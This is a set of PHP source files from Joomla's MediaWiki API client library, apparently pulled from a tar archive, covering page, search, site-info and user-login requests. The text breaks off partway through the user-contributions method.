* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a Mediawiki server instance.
*
* @property-read JMediawikiSites $sites MediaWiki API
object for sites.
* @property-read JMediawikiPages $pages MediaWiki API
object for pages.
* @property-read JMediawikiUsers $users MediaWiki API
object for users.
* @property-read JMediawikiLinks $links MediaWiki API
object for links.
* @property-read JMediawikiCategories $categories MediaWiki API
object for categories.
* @property-read JMediawikiImages $images MediaWiki API
object for images.
* @property-read JMediawikiSearch $search MediaWiki API
object for search.
*
* @since 3.1.4
*/
class JMediawiki
{
/**
* @var Registry Options for the MediaWiki object.
* @since 3.0.0
*/
protected $options;
/**
* @var JMediawikiHttp The HTTP client object to use in sending HTTP
requests.
* @since 3.1.4
*/
protected $client;
/**
* @var JMediawikiSites MediaWiki API object for Site.
* @since 3.1.4
*/
protected $sites;
/**
* @var JMediawikiPages MediaWiki API object for pages.
* @since 3.0.0
*/
protected $pages;
/**
* @var JMediawikiUsers MediaWiki API object for users.
* @since 3.1.4
*/
protected $users;
/**
* @var JMediawikiLinks MediaWiki API object for links.
* @since 3.1.4
*/
protected $links;
/**
* @var JMediawikiCategories MediaWiki API object for categories.
* @since 3.1.4
*/
protected $categories;
/**
* @var JMediawikiImages MediaWiki API object for images.
* @since 3.1.4
*/
protected $images;
/**
* @var JMediawikiSearch MediaWiki API object for search.
* @since 3.0.0
*/
protected $search;
/**
* Constructor.
*
* @param Registry $options MediaWiki options object.
* @param JMediawikiHttp $client The HTTP client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JMediawikiHttp
$client = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JMediawikiHttp($this->options);
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JMediaWikiObject MediaWiki API object (users, reviews, etc).
*
* @since 3.1.4
* @throws InvalidArgumentException
*/
public function __get($name)
{
$name = strtolower($name);
$class = 'JMediawiki' . ucfirst($name);
$accessible = array(
'categories',
'images',
'links',
'pages',
'search',
'sites',
'users',
);
if (class_exists($class) && in_array($name, $accessible))
{
if (!isset($this->$name))
{
$this->$name = new $class($this->options, $this->client);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Property %s is not
accessible.', $name));
}
/**
* Get an option from the JMediawiki instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JMediawiki instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JMediawiki This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
mediawiki/object.php000064400000005125151171674110010475 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* MediaWiki API object class for the Joomla Platform.
*
* @since 3.1.4
*/
abstract class JMediawikiObject
{
/**
* @var Registry Options for the MediaWiki object.
* @since 3.1.4
*/
protected $options;
/**
* @var JMediawikiHttp The HTTP client object to use in sending HTTP
requests.
* @since 3.1.4
*/
protected $client;
/**
* Constructor.
*
* @param Registry $options Mediawiki options object.
* @param JMediawikiHttp $client The HTTP client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JMediawikiHttp
$client = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JMediawikiHttp($this->options);
}
/**
* Method to build and return a full request URL for the request.
*
* @param string $path URL to inflect
*
* @return string The request URL.
*
* @since 3.1.4
*/
protected function fetchUrl($path)
{
// Append the path with output format
$path .= '&format=xml';
$uri = new JUri($this->options->get('api.url') .
'/api.php' . $path);
if ($this->options->get('api.username', false))
{
$uri->setUser($this->options->get('api.username'));
}
if ($this->options->get('api.password', false))
{
$uri->setPass($this->options->get('api.password'));
}
return (string) $uri;
}
/**
* Method to build request parameters from a string array.
*
* @param array $params string array that contains the parameters
*
* @return string request parameter
*
* @since 3.1.4
*/
public function buildParameter(array $params)
{
$path = '';
foreach ($params as $param)
{
$path .= $param;
if (next($params) == true)
{
$path .= '|';
}
}
return $path;
}
/**
* Method to validate response for errors
*
* @param JHttpresponse $response reponse from the mediawiki server
*
* @return Object
*
* @since 3.1.4
*
* @throws DomainException
*/
public function validateResponse($response)
{
$xml = simplexml_load_string($response->body);
if (isset($xml->warnings))
{
throw new DomainException($xml->warnings->info);
}
if (isset($xml->error))
{
throw new DomainException($xml->error['info']);
}
return $xml;
}
}
mediawiki/pages.php000064400000040705151171674110010331 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Pages class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiPages extends JMediawikiObject
{
/**
* Method to edit a page.
*
* @param string $title Page title.
* @param int $section Section number.
* @param string $sectiontitle The title for a new section.
* @param string $text Page content.
* @param string $summary Title of the page you want to delete.
*
* @return object
*
* @since 3.1.4
*/
public function editPage($title, $section = null, $sectiontitle = null,
$text = null, $summary = null)
{
// Get the token.
$token = $this->getToken($title, 'edit');
// Build the request path.
$path = '?action=edit';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'section' => $section,
'sectiontitle' => $section,
'text' => $text,
'summary' => $summary,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to delete a page.
*
* @param string $title Title of the page you want to delete.
* @param string $reason Reason for the deletion.
* @param string $watchlist Unconditionally add or remove the page
from your watchlis.
* @param string $oldimage The name of the old image to delete.
*
* @return object
*
* @since 3.1.4
*/
public function deletePageByName($title, $reason = null, $watchlist =
null, $oldimage = null)
{
// Get the token.
$token = $this->getToken($title, 'delete');
// Build the request path.
$path = '?action=delete';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'reason' => $reason,
'watchlist' => $watchlist,
'oldimage' => $oldimage,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to delete a page.
*
* @param string $pageid Page ID of the page you want to delete.
* @param string $reason Reason for the deletion.
* @param string $watchlist Unconditionally add or remove the page
from your watchlis.
* @param string $oldimage The name of the old image to delete.
*
* @return object
*
* @since 3.1.4
*/
public function deletePageById($pageid, $reason = null, $watchlist =
null, $oldimage = null)
{
// Get the token.
$token = $this->getToken($pageid, 'delete');
// Build the request path.
$path = '?action=delete';
// Build the request data.
$data = array(
'pageid' => $pageid,
'token' => $token,
'reason' => $reason,
'watchlist' => $watchlist,
'oldimage' => $oldimage,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to restore certain revisions of a deleted page.
*
* @param string $title Title of the page you want to restore.
* @param string $reason Reason for restoring (optional).
* @param string $timestamp Timestamps of the revisions to restore.
* @param string $watchlist Unconditionally add or remove the page
from your watchlist.
*
* @return object
*
* @since 3.1.4
*/
public function undeletePage($title, $reason = null, $timestamp = null,
$watchlist = null)
{
// Get the token.
$token = $this->getToken($title, 'undelete');
// Build the request path.
$path = '?action=undelete';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'reason' => $reason,
'timestamp' => $timestamp,
'watchlist' => $watchlist,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to move a page.
*
* @param string $from Title of the page you want to move.
* @param string $to Title you want to rename the page
to.
* @param string $reason Reason for the move (optional).
* @param string $movetalk Move the talk page, if it exists.
* @param string $movesubpages Move subpages, if applicable.
* @param boolean $noredirect Don't create a redirect.
* @param string $watchlist Unconditionally add or remove the
page from your watchlist.
* @param boolean $ignorewarnings Ignore any warnings.
*
* @return object
*
* @since 3.1.4
*/
public function movePageByName($from, $to, $reason = null, $movetalk =
null, $movesubpages = null, $noredirect = null,
$watchlist =null, $ignorewarnings = null)
{
// Get the token.
$token = $this->getToken($from, 'move');
// Build the request path.
$path = '?action=move';
// Build the request data.
$data = array(
'from' => $from,
'to' => $reason,
'token' => $token,
'reason' => $reason,
'movetalk' => $movetalk,
'movesubpages' => $movesubpages,
'noredirect' => $noredirect,
'watchlist' => $watchlist,
'ignorewarnings' => $ignorewarnings,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to move a page.
*
* @param int $fromid Page ID of the page you want to
move.
* @param string $to Title you want to rename the page
to.
* @param string $reason Reason for the move (optional).
* @param string $movetalk Move the talk page, if it exists.
* @param string $movesubpages Move subpages, if applicable.
* @param boolean $noredirect Don't create a redirect.
* @param string $watchlist Unconditionally add or remove the
page from your watchlist.
* @param boolean $ignorewarnings Ignore any warnings.
*
* @return object
*
* @since 3.1.4
*/
public function movePageById($fromid, $to, $reason = null, $movetalk =
null, $movesubpages = null, $noredirect = null,
$watchlist =null, $ignorewarnings = null)
{
// Get the token.
$token = $this->getToken($fromid, 'move');
// Build the request path.
$path = '?action=move';
// Build the request data.
$data = array(
'fromid' => $fromid,
'to' => $reason,
'token' => $token,
'reason' => $reason,
'movetalk' => $movetalk,
'movesubpages' => $movesubpages,
'noredirect' => $noredirect,
'watchlist' => $watchlist,
'ignorewarnings' => $ignorewarnings,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to undo the last edit to the page.
*
* @param string $title Title of the page you want to rollback.
* @param string $user Name of the user whose edits are to be
rolled back.
* @param string $summary Custom edit summary. If not set, default
summary will be used.
* @param string $markbot Mark the reverted edits and the revert as
bot edits.
* @param string $watchlist Unconditionally add or remove the page
from your watchlist.
*
* @return object
*
* @since 3.1.4
*/
public function rollback($title, $user, $summary = null, $markbot = null,
$watchlist = null)
{
// Get the token.
$token = $this->getToken($title, 'rollback');
// Build the request path.
$path = '?action=rollback';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'user' => $user,
'expiry' => $summary,
'markbot' => $markbot,
'watchlist' => $watchlist,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to change the protection level of a page.
*
* @param string $title Title of the page you want to
(un)protect.
* @param string $protections Pipe-separated list of protection
levels.
* @param string $expiry Expiry timestamps.
* @param string $reason Reason for (un)protecting (optional).
* @param string $cascade Enable cascading protection.
* @param string $watchlist Unconditionally add or remove the page
from your watchlist.
*
* @return object
*
* @since 3.1.4
*/
public function changeProtection($title, $protections, $expiry = null,
$reason = null, $cascade = null, $watchlist = null)
{
// Get the token.
$token = $this->getToken($title, 'unblock');
// Build the request path.
$path = '?action=protect';
// Build the request data.
$data = array(
'title' => $title,
'token' => $token,
'protections' => $protections,
'expiry' => $expiry,
'reason' => $reason,
'cascade' => $cascade,
'watchlist' => $watchlist,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to get basic page information.
*
* @param array $titles Page titles to retrieve info.
* @param array $inprop Which additional properties to get.
* @param array $intoken Request a token to perform a
data-modifying action on a page
* @param boolean $incontinue When more results are available, use
this to continue.
*
* @return object
*
* @since 3.1.4
*/
public function getPageInfo(array $titles, array $inprop = null, array
$intoken = null, $incontinue = null)
{
// Build the request
$path = '?action=query&prop=info';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($inprop))
{
$path .= '&inprop=' . $this->buildParameter($inprop);
}
if (isset($intoken))
{
$path .= '&intoken=' . $this->buildParameter($intoken);
}
if ($incontinue)
{
$path .= '&incontinue=';
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get various properties defined in the page content.
*
* @param array $titles Page titles to retrieve properties.
* @param boolean $ppcontinue When more results are available, use
this to continue.
* @param string $ppprop Page prop to look on the page for.
*
* @return object
*
* @since 3.1.4
*/
public function getPageProperties(array $titles, $ppcontinue = null,
$ppprop = null)
{
// Build the request
$path = '?action=query&prop=pageprops';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if ($ppcontinue)
{
$path .= '&ppcontinue=';
}
if (isset($ppprop))
{
$path .= '&ppprop=' . $ppprop;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get a list of revisions.
*
* @param array $titles Page titles to retrieve revisions.
* @param array $rvprop Which properties to get for each revision.
* @param boolean $rvparse Parse revision content.
* @param int $rvlimit Limit how many revisions will be returned.
*
* @return object
*
* @since 3.1.4
*/
public function getRevisions(array $titles, array $rvprop = null, $rvparse
= null, $rvlimit = null)
{
// Build the request
$path = '?action=query&prop=revisions';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($rvprop))
{
$path .= '&rvprop=' . $this->buildParameter($rvprop);
}
if ($rvparse)
{
$path .= '&rvparse=';
}
if (isset($rvlimit))
{
$path .= '&rvlimit=' . $rvlimit;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all page templates from the given page.
*
* @param array $titles Page titles to retrieve templates.
* @param array $tlnamespace Show templates in this namespace(s)
only.
* @param integer $tllimit How many templates to return.
* @param boolean $tlcontinue When more results are available, use
this to continue.
* @param string $tltemplates Only list these templates.
* @param string $tldir The direction in which to list.
*
* @return object
*
* @since 3.1.4
*/
public function getPageTemplates(array $titles, array $tlnamespace = null,
$tllimit = null, $tlcontinue = null, $tltemplates = null, $tldir = null)
{
// Build the request.
$path = '?action=query&prop=templates';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($tlnamespace))
{
$path .= '&tlnamespace=' .
$this->buildParameter($tlnamespace);
}
if (isset($tllimit))
{
$path .= '&tllimit=' . $tllimit;
}
if ($tlcontinue)
{
$path .= '&tlcontinue=';
}
if (isset($tltemplates))
{
$path .= '&tltemplates=' . $tltemplates;
}
if (isset($tldir))
{
$path .= '&tldir=' . $tldir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all pages that link to the given page.
*
* @param string $bltitle Title to search.
* @param integer $blpageid Pageid to search.
* @param boolean $blcontinue When more results are available,
use this to continue.
* @param array $blnamespace The namespace to enumerate.
* @param string $blfilterredirect How to filter for redirects..
* @param integer $bllimit How many total pages to return.
* @param boolean $blredirect If linking page is a redirect,
find all pages that link to that redirect as well.
*
* @return object
*
* @since 3.1.4
*/
public function getBackLinks($bltitle, $blpageid = null, $blcontinue =
null, array $blnamespace = null, $blfilterredirect = null,
$bllimit = null, $blredirect = null)
{
// Build the request.
$path = '?action=query&list=backlinks';
if (isset($bltitle))
{
$path .= '&bltitle=' . $bltitle;
}
if (isset($blpageid))
{
$path .= '&blpageid=' . $blpageid;
}
if ($blcontinue)
{
$path .= '&blcontinue=';
}
if (isset($blnamespace))
{
$path .= '&blnamespace=' .
$this->buildParameter($blnamespace);
}
if (isset($blfilterredirect))
{
$path .= '&blfilterredirect=' . $blfilterredirect;
}
if (isset($bllimit))
{
$path .= '&bllimit=' . $bllimit;
}
if ($blredirect)
{
$path .= '&blredirect=';
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all pages that link to the given interwiki link.
*
* @param string $iwbltitle Interwiki link to search for. Must be
used with iwblprefix.
* @param string $iwblprefix Prefix for the interwiki.
* @param boolean $iwblcontinue When more results are available, use
this to continue.
* @param integer $iwbllimit How many total pages to return.
* @param array $iwblprop Which properties to get.
*
* @return object
*
* @since 3.1.4
*/
public function getIWBackLinks($iwbltitle, $iwblprefix = null,
$iwblcontinue = null, $iwbllimit = null, array $iwblprop = null)
{
// Build the request
$path = '?action=query&list=iwbacklinks';
if (isset($iwbltitle))
{
$path .= '&iwbltitle=' . $iwbltitle;
}
if (isset($iwblprefix))
{
$path .= '&iwblprefix=' . $iwblprefix;
}
if ($iwblcontinue)
{
$path .= '&iwblcontinue=';
}
if (isset($iwbllimit))
{
$path .= '&bllimit=' . $iwbllimit;
}
if (isset($iwblprop))
{
$path .= '&iwblprop=' .
$this->buildParameter($iwblprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get access token.
*
* @param string $user The User to get token.
* @param string $intoken The type of token.
*
* @return object
*
* @since 3.0.0
*/
public function getToken($user, $intoken)
{
// Build the request path.
$path = '?action=query&prop=info&intoken=' . $intoken .
'&titles=User:' . $user;
// Send the request.
$response = $this->client->post($this->fetchUrl($path), null);
return (string)
$this->validateResponse($response)->query->pages->page[$intoken
. 'token'];
}
}
mediawiki/search.php000064400000006136151171674110010477 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Search class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiSearch extends JMediawikiObject
{
/**
* Method to perform a full text search.
*
* @param string $srsearch Search for all page titles (or content)
that has this value.
* @param array $srnamespace The namespace(s) to enumerate.
* @param string $srwhat Search inside the text or titles.
* @param array $srinfo What metadata to return.
* @param array $srprop What properties to return.
* @param boolean $srredirects Include redirect pages in the search.
* @param integer $sroffest Use this value to continue paging.
* @param integer $srlimit How many total pages to return.
*
* @return object
*
* @since 3.1.4
*/
public function search($srsearch, array $srnamespace = null, $srwhat =
null, array $srinfo = null, array $srprop = null,
$srredirects = null, $sroffest = null, $srlimit = null)
{
// Build the request.
$path = '?action=query&list=search';
if (isset($srsearch))
{
$path .= '&srsearch=' . $srsearch;
}
if (isset($srnamespace))
{
$path .= '&srnamespace=' .
$this->buildParameter($srnamespace);
}
if (isset($srwhat))
{
$path .= '&srwhat=' . $srwhat;
}
if (isset($srinfo))
{
$path .= '&srinfo=' . $this->buildParameter($srinfo);
}
if (isset($srprop))
{
$path .= '&srprop=' . $this->buildParameter($srprop);
}
if ($srredirects)
{
$path .= '&srredirects=';
}
if (isset($sroffest))
{
$path .= '&sroffest=' . $sroffest;
}
if (isset($srlimit))
{
$path .= '&srlimit=' . $srlimit;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to search the wiki using opensearch protocol.
*
* @param string $search Search string.
* @param integer $limit Maximum amount of results to return.
* @param array $namespace Namespaces to search.
* @param string $suggest Do nothing if $wgEnableOpenSearchSuggest
is false.
* @param string $format Output format.
*
* @return object
*
* @since 3.1.4
*/
public function openSearch($search, $limit = null, array $namespace =
null, $suggest = null, $format = null)
{
// Build the request.
$path = '?action=query&list=search';
if (isset($search))
{
$path .= '&search=' . $search;
}
if (isset($limit))
{
$path .= '&limit=' . $limit;
}
if (isset($namespace))
{
$path .= '&namespace=' .
$this->buildParameter($namespace);
}
if (isset($suggest))
{
$path .= '&suggest=' . $suggest;
}
if (isset($format))
{
$path .= '&format=' . $format;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
mediawiki/sites.php000064400000016631151171674110010362 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Sites class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiSites extends JMediawikiObject
{
/**
* Method to get site information.
*
* @param array $siprop The sysinfo properties to get.
* @param string $sifilteriw Only local or only non local
entries to return.
* @param boolean $sishowalldb List all database servers.
* @param boolean $sinumberingroup List the number of users in
usergroups.
* @param array $siinlanguagecode Language code for localized
languages.
*
* @return object
*
* @since 3.1.4
*/
public function getSiteInfo(array $siprop = null, $sifilteriw = null,
$sishowalldb = false, $sinumberingroup = false, array $siinlanguagecode =
null)
{
// Build the request.
$path = '?action=query&meta=siteinfo';
if (isset($siprop))
{
$path .= '&siprop=' . $this->buildParameter($siprop);
}
if (isset($sifilteriw))
{
$path .= '&sifilteriw=' . $sifilteriw;
}
if ($sishowalldb)
{
$path .= '&sishowalldb=';
}
if ($sinumberingroup)
{
$path .= '&sinumberingroup=';
}
if (isset($siinlanguagecode))
{
$path .= '&siinlanguagecode=' .
$this->buildParameter($siinlanguagecode);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get events from logs.
*
* @param array $leprop List of properties to get.
* @param string $letype Filter log actions to only this type.
* @param string $leaction Filter log actions to only this type.
* @param string $letitle Filter entries to those related to a page.
* @param string $leprefix Filter entries that start with this
prefix.
* @param string $letag Filter entries with tag.
* @param string $leuser Filter entries made by the given user.
* @param string $lestart Starting timestamp.
* @param string $leend Ending timestamp.
* @param string $ledir Direction of enumeration.
* @param integer $lelimit Event limit to return.
*
* @return object
*
* @since 3.1.4
*/
public function getEvents(array $leprop = null, $letype = null, $leaction
= null, $letitle = null, $leprefix = null, $letag = null,
$leuser = null, $lestart = null, $leend = null, $ledir = null, $lelimit =
null)
{
// Build the request
$path = '?action=query&list=logevents';
if (isset($leprop))
{
$path .= '&leprop=' . $this->buildParameter($leprop);
}
if (isset($letype))
{
$path .= '&letype=' . $letype;
}
if (isset($leaction))
{
$path .= '&leaction=' . $leaction;
}
if (isset($letitle))
{
$path .= '&letitle=' . $letitle;
}
if (isset($leprefix))
{
$path .= '&leprefix=' . $leprefix;
}
if (isset($letag))
{
$path .= '&letag=' . $letag;
}
if (isset($leuser))
{
$path .= '&leuser=' . $leuser;
}
if (isset($lestart))
{
$path .= '&lestart=' . $lestart;
}
if (isset($leend))
{
$path .= '&leend=' . $leend;
}
if (isset($ledir))
{
$path .= '&ledir=' . $ledir;
}
if (isset($lelimit))
{
$path .= '&lelimit=' . $lelimit;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get recent changes on a site.
*
* @param string $rcstart Starting timestamp.
* @param string $rcend Ending timestamp.
* @param string $rcdir Direction of enumeration.
* @param array $rcnamespace Filter changes to only this
namespace(s).
* @param string $rcuser Filter changes by this user.
* @param string $rcexcludeuser Filter changes to exclude changes by
this user.
* @param string $rctag Filter changes by this tag.
* @param array $rcprop Filter log actions to only this type.
* @param array $rctoken Which token to obtain for each change.
* @param array $rcshow Filter changes by this criteria.
* @param string $rclimit Changes limit to return.
* @param string $rctype Filter event by type of changes.
* @param string $rctoponly Filter changes which are latest
revision.
*
* @return object
*
* @since 3.1.4
*/
public function getRecentChanges($rcstart = null, $rcend = null, $rcdir =
null, array $rcnamespace = null, $rcuser = null, $rcexcludeuser = null,
$rctag = null, array $rcprop = null, array $rctoken = null, array $rcshow
= null, $rclimit = null, $rctype = null, $rctoponly = null)
{
// Build the request.
$path = '?action=query&list=recentchanges';
if (isset($rcstart))
{
$path .= '&rcstart=' . $rcstart;
}
if (isset($rcend))
{
$path .= '&rcend=' . $rcend;
}
if (isset($rcdir))
{
$path .= '&rcdir=' . $rcdir;
}
if (isset($rcnamespace))
{
$path .= '&rcnamespaces=' .
$this->buildParameter($rcnamespace);
}
if (isset($rcuser))
{
$path .= '&rcuser=' . $rcuser;
}
if (isset($rcexcludeuser))
{
$path .= '&rcexcludeuser=' . $rcexcludeuser;
}
if (isset($rctag))
{
$path .= '&rctag=' . $rctag;
}
if (isset($rcprop))
{
$path .= '&rcprop=' . $this->buildParameter($rcprop);
}
if (isset($rctoken))
{
$path .= '&rctoken=' . $this->buildParameter($rctoken);
}
if (isset($rcshow))
{
$path .= '&rcshow=' . $this->buildParameter($rcshow);
}
if (isset($rclimit))
{
$path .= '&rclimit=' . $rclimit;
}
if (isset($rctype))
{
$path .= '&rctype=' . $rctype;
}
if (isset($rctoponly))
{
$path .= '&rctoponly=' . $rctoponly;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get protected titles on a site.
*
* @param array $ptnamespace Only list titles in this namespace.
* @param array $ptlevel Only list titles with these protection
level.
* @param integer $ptlimit Limit of pages to return.
* @param string $ptdir Direction of enumeration.
* @param string $ptstart Starting timestamp.
* @param string $ptend Ending timestamp.
* @param array $ptprop List of properties to get.
*
* @return object
*
* @since 3.1.4
*/
public function getProtectedTitles(array $ptnamespace = null, array
$ptlevel = null, $ptlimit = null, $ptdir = null, $ptstart = null,
$ptend = null, array $ptprop = null)
{
// Build the request.
$path = '?action=query&list=protectedtitles';
if (isset($ptnamespace))
{
$path .= '&ptnamespace=' .
$this->buildParameter($ptnamespace);
}
if (isset($ptlevel))
{
$path .= '&ptlevel=' . $this->buildParameter($ptlevel);
}
if (isset($ptlimit))
{
$path .= '&ptlimit=' . $ptlimit;
}
if (isset($ptdir))
{
$path .= '&ptdir=' . $ptdir;
}
if (isset($ptstart))
{
$path .= '&ptstart=' . $ptstart;
}
if (isset($ptend))
{
$path .= '&ptend=' . $ptend;
}
if (isset($ptprop))
{
$path .= '&ptprop=' . $this->buildParameter($ptprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
mediawiki/users.php000064400000026600151171674130010373 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Users class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiUsers extends JMediawikiObject
{
/**
* Method to login and get authentication tokens.
*
* @param string $lgname User Name.
* @param string $lgpassword Password.
* @param string $lgdomain Domain (optional).
*
* @return object
*
* @since 3.1.4
*/
public function login($lgname, $lgpassword, $lgdomain = null)
{
// Build the request path.
$path = '?action=login&lgname=' . $lgname .
'&lgpassword=' . $lgpassword;
if (isset($lgdomain))
{
$path .= '&lgdomain=' . $lgdomain;
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path), null);
// Request path with login token.
$path = '?action=login&lgname=' . $lgname .
'&lgpassword=' . $lgpassword . '&lgtoken=' .
$this->validateResponse($response)->login['token'];
if (isset($lgdomain))
{
$path .= '&lgdomain=' . $lgdomain;
}
// Set the session cookies returned.
$headers = (array) $this->options->get('headers');
$headers['Cookie'] = !empty($headers['Cookie']) ?
empty($headers['Cookie']) : '';
$headers['Cookie'] = $headers['Cookie'] .
$response->headers['Set-Cookie'];
$this->options->set('headers', $headers);
// Send the request again with the token.
$response = $this->client->post($this->fetchUrl($path), null);
$response_body = $this->validateResponse($response);
$headers = (array) $this->options->get('headers');
$cookie_prefix = $response_body->login['cookieprefix'];
$cookie = $cookie_prefix . 'UserID=' .
$response_body->login['lguserid'] . '; ' .
$cookie_prefix
. 'UserName=' .
$response_body->login['lgusername'];
$headers['Cookie'] = $headers['Cookie'] . ';
' . $response->headers['Set-Cookie'] . '; ' .
$cookie;
$this->options->set('headers', $headers);
return $this->validateResponse($response);
}
/**
* Method to logout and clear session data.
*
* @return object
*
* @since 3.1.4
*/
public function logout()
{
// Build the request path.
$path = '?action=login';
// @TODO clear internal data as well
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get user information.
*
* @param array $ususers A list of users to obtain the same
information for.
* @param array $usprop What pieces of information to include.
*
* @return object
*
* @since 3.1.4
*/
public function getUserInfo(array $ususers, array $usprop = null)
{
// Build the request path.
$path = '?action=query&list=users';
// Append users to the request.
$path .= '&ususers=' . $this->buildParameter($ususers);
if (isset($usprop))
{
$path .= '&usprop' . $this->buildParameter($usprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get current user information.
*
* @param array $uiprop What pieces of information to include.
*
* @return object
*
* @since 3.1.4
*/
public function getCurrentUserInfo(array $uiprop = null)
{
// Build the request path.
$path = '?action=query&meta=userinfo';
if (isset($uiprop))
{
$path .= '&uiprop' . $this->buildParameter($uiprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get user contributions.
*
* @param string $ucuser The users to retrieve contributions
for.
* @param string $ucuserprefix Retrieve contibutions for all users
whose names begin with this value.
* @param integer $uclimit The users to retrieve contributions
for.
* @param string $ucstart The start timestamp to return from.
* @param string $ucend The end timestamp to return to.
* @param boolean $uccontinue When more results are available, use
this to continue.
* @param string $ucdir In which direction to enumerate.
* @param array $ucnamespace Only list contributions in these
namespaces.
* @param array $ucprop Include additional pieces of
information.
* @param array $ucshow Show only items that meet this
criteria.
* @param string $uctag Only list revisions tagged with this
tag.
* @param string $uctoponly Only list changes which are the latest
revision
*
* @return object
*
* @since 3.1.4
*/
public function getUserContribs($ucuser = null, $ucuserprefix = null,
$uclimit = null, $ucstart = null, $ucend = null, $uccontinue = null,
$ucdir = null, array $ucnamespace = null, array $ucprop = null, array
$ucshow = null, $uctag = null, $uctoponly = null)
{
// Build the request path.
$path = '?action=query&list=usercontribs';
if (isset($ucuser))
{
$path .= '&ucuser=' . $ucuser;
}
if (isset($ucuserprefix))
{
$path .= '&ucuserprefix=' . $ucuserprefix;
}
if (isset($uclimit))
{
$path .= '&uclimit=' . $uclimit;
}
if (isset($ucstart))
{
